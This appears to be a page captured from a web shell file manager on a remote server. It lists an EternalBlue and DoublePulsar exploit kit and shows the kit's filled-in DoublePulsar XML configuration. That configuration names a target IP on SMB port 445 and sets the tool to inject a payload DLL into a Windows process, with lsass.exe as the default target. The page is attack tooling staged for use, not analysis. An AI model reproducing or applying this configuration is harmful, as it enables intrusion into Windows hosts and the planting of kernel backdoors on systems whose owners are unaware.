Gecko [ 196.203.21.74 ]

Name	Size	Permission
Doublepulsar-1.3.1.Skeleton.xm...	4.39 KB	-rw-rw-rw-
Doublepulsar-1.3.1.exe	44.5 KB	-rwxrwxrwx
Doublepulsar-1.3.1.xml	4.37 KB	-rw-rw-rw-
EternalPulse	2.86 KB	-rw-rw-rw-
Eternalblue-2.2.0.Skeleton.xml	2.79 KB	-rw-rw-rw-
Eternalblue-2.2.0.exe	126 KB	-rwxrwxrwx
Eternalblue-2.2.0.xml	2.78 KB	-rw-rw-rw-
README.md	51 B	-rw-rw-rw-
_pytrch.pyd	150 KB	-rw-rw-rw-
adfw-2.dll	14.5 KB	-rw-rw-rw-
adfw.dll	11 KB	-rw-rw-rw-
cnli-0.dll	104 KB	-rw-rw-rw-
cnli-1.dll	98.5 KB	-rw-rw-rw-
coli-0.dll	15 KB	-rw-rw-rw-
crli-0.dll	17 KB	-rw-rw-rw-
dmgd-1.dll	34.5 KB	-rw-rw-rw-
dmgd-4.dll	468.5 KB	-rw-rw-rw-
esco-0.dll	13.5 KB	-rw-rw-rw-
eternalpulse.rb	4.73 KB	-rw-rw-rw-
exma-1.dll	10 KB	-rw-rw-rw-
exma.dll	6 KB	-rw-rw-rw-
iconv.dll	21.5 KB	-rw-rw-rw-
libcurl.dll	207.5 KB	-rw-rw-rw-
libeay32.dll	882 KB	-rw-rw-rw-
libiconv-2.dll	947.65 KB	-rw-rw-rw-
libxml2.dll	807 KB	-rw-rw-rw-
pcla-0.dll	329.5 KB	-rw-rw-rw-
pcre-0.dll	143 KB	-rw-rw-rw-
pcrecpp-0.dll	32 KB	-rw-rw-rw-
pcreposix-0.dll	9.5 KB	-rw-rw-rw-
posh-0.dll	11 KB	-rw-rw-rw-
posh.dll	6.5 KB	-rw-rw-rw-
pytrch.py	37.31 KB	-rw-rw-rw-
pytrch.pyc	56.5 KB	-rw-rw-rw-
riar-2.dll	32 KB	-rw-rw-rw-
riar.dll	16 KB	-rw-rw-rw-
ssleay32.dll	180 KB	-rw-rw-rw-
tibe-1.dll	228 KB	-rw-rw-rw-
tibe-2.dll	232 KB	-rw-rw-rw-
tibe.dll	264 KB	-rw-rw-rw-
trch-0.dll	72 KB	-rw-rw-rw-
trch-1.dll	58.5 KB	-rw-rw-rw-
trch.dll	48.5 KB	-rw-rw-rw-
trfo-0.dll	44 KB	-rw-rw-rw-
trfo-2.dll	29 KB	-rw-rw-rw-
trfo.dll	37.5 KB	-rw-rw-rw-
tucl-1.dll	9 KB	-rw-rw-rw-
tucl.dll	6 KB	-rw-rw-rw-
ucl.dll	57 KB	-rw-rw-rw-
xdvl-0.dll	31.5 KB	-rw-rw-rw-
zibe.dll	256 KB	-rw-rw-rw-
zlib1.dll	59 KB	-rw-rw-rw-

Code Editor : Doublepulsar-1.3.1.xml

<t:config xmlns:t="urn:trch" id="a748cf79831d6c2444050f18217611549fe3f619" configversion="1.3.1.0" name="Doublepulsar" version="1.3.1" schemaversion="2.0.0">
<t:inputparameters>
<t:parameter name="NetworkTimeout" description="Timeout for blocking network calls (in seconds).  Use -1 for no timeout." type="S16" format="Scalar" valid="true">
<t:default>60</t:default>
<t:value>60</t:value>
</t:parameter>
<t:parameter name="TargetIp" description="Target IP Address" type="IPv4" format="Scalar" valid="true">
<t:value>192.168.1.13</t:value>
</t:parameter>
<t:parameter name="TargetPort" description="Port used by the Double Pulsar back door" type="TcpPort" format="Scalar" valid="true">
<t:default>445</t:default>
<t:value>445</t:value>
</t:parameter>
<t:paramchoice name="Protocol" description="Protocol for the backdoor to speak">
<t:default>SMB</t:default>
<t:value>SMB</t:value>
<t:paramgroup name="SMB" description="Ring 0 SMB (TCP 445) backdoor"></t:paramgroup>
<t:paramgroup name="RDP" description="Ring 0 RDP (TCP 3389) backdoor"></t:paramgroup>
</t:paramchoice>
<t:paramchoice name="Architecture" description="Architecture of the target OS">
<t:default>x86</t:default>
<t:value>x86</t:value>
<t:paramgroup name="x86" description="x86 32-bits"></t:paramgroup>
<t:paramgroup name="x64" description="x64 64-bits"></t:paramgroup>
</t:paramchoice>
<t:paramchoice name="Function" description="Operation for backdoor to perform">
<t:default>OutputInstall</t:default>
<t:value>RunDLL</t:value>
<t:paramgroup name="OutputInstall" description="Only output the install shellcode to a binary file on disk.">
<t:parameter name="OutputFile" description="Full path to the output file" type="String" format="Scalar"></t:parameter>
</t:paramgroup>
<t:paramgroup name="Ping" description="Test for presence of backdoor"></t:paramgroup>
<t:paramgroup name="RunDLL" description="Use an APC to inject a DLL into a user mode process.">
<t:parameter name="DllPayload" description="DLL to inject into user mode" type="LocalFile" format="Scalar" valid="true">
<t:value>/rooteternal11.dll</t:value>
</t:parameter>
<t:parameter name="DllOrdinal" description="The exported ordinal number of the DLL being injected to call" type="U32" format="Scalar" valid="true">
<t:default>1</t:default>
<t:value>1</t:value>
</t:parameter>
<t:parameter name="ProcessName" description="Name of process to inject into" type="String" format="Scalar" valid="true">
<t:default>lsass.exe</t:default>
<t:value>wlms.exe</t:value>
</t:parameter>
<t:parameter name="ProcessCommandLine" description="Command line of process to inject into" type="String" format="Scalar" valid="true">
<t:default></t:default>
<t:value></t:value>
</t:parameter>
</t:paramgroup>
<t:paramgroup name="RunShellcode" description="Run raw shellcode">
<t:parameter name="ShellcodeFile" description="Full path to the file containing shellcode" type="LocalFile" format="Scalar"></t:parameter>
<t:parameter name="ShellcodeData" description="Full path to the file containing shellcode to run" type="LocalFile" format="Scalar"></t:parameter>
</t:paramgroup>
<t:paramgroup name="Uninstall" description="Remove's backdoor from system"></t:paramgroup>
</t:paramchoice>
</t:inputparameters>
<t:outputparameters>
<t:paramchoice name="Function" description="Operation for backdoor to perform">
<t:paramgroup name="OutputInstall" description="Only output the install shellcode to a file on disk.">
<t:parameter name="ShellcodeFile" description="Full path to the file containing Double Pulsar shellcode installer" type="String" format="Scalar"></t:parameter>
<t:parameter name="ShellcodeData" description="Full path to the file containing Double Pulsar shellcode installer" type="LocalFile" format="Scalar"></t:parameter>
</t:paramgroup>
<t:paramgroup name="Ping" description="Test for presence of backdoor">
<t:parameter name="Is64Bit" description="Is target 64 or 32 bit" type="U32" format="Scalar"></t:parameter>
</t:paramgroup>
<t:paramgroup name="RunDLL" description="Inject a DLL into a user mode process.">
<t:parameter name="Is64Bit" description="Is target 64 or 32 bit" type="U32" format="Scalar"></t:parameter>
</t:paramgroup>
<t:paramgroup name="Uninstall" description="Remove's backdoor from system">
<t:parameter name="Is64Bit" description="Is target 64 or 32 bit" type="U32" format="Scalar"></t:parameter>
</t:paramgroup>
</t:paramchoice>
</t:outputparameters>
</t:config>

${this.title}

Code Editor : Doublepulsar-1.3.1.xml